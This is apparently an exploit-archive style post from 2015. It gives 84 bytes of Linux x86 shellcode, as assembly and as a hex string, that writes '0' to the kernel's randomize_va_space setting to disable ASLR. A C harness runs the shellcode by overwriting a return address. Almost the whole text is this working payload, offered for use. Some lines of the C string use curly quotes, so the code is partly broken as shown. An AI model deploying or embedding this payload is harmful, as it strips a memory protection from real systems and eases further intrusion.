/* #Title: Disable ASLR in Linux (less byte and more compact) #Length: 84 bytes #Date: 3 April 2015 #Author: Mohammad Reza Ramezani (mr.ramezani.edu@gmail.com - g+) #Tested On: kali-linux-1.0.6-i386 Thanks to stackoverflow section .text global _start _start: jmp short fileaddress shellcode: pop ebx xor eax,eax mov byte [ebx + 35],al push byte 5 pop eax push byte 2 pop ecx int 80h mov ebx, eax push byte 4 pop eax jmp short output cont: pop ecx push byte 2 pop edx int 80h push byte 1 pop eax xor ebx, ebx int 80h fileaddress: call shellcode db '/proc/sys/kernel/randomize_va_spaceX' output: call cont db '0',10 */ char shellcode[] = "\xeb\x22\x5b\x31\xc0\x88\x43\x23\x6a\x05\x58" "\x6a\x02\x59\xcd\x80\x89\xc3\x6a\x04\x58\xeb\x36\x59\x6a\x02\x5a” “\xcd\x80\x6a\x01\x58\x31\xdb\xcd\x80\xe8\xd9\xff\xff\xff\x2f\x70” “\x72\x6f\x63\x2f\x73\x79\x73\x2f\x6b\x65\x72\x6e\x65\x6c\x2f\x72” “\x61\x6e\x64\x6f\x6d\x69\x7a\x65\x5f\x76\x61\x5f\x73\x70\x61\x63” “\x65\x58\xe8\xc5\xff\xff\xff\x30\x0a"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }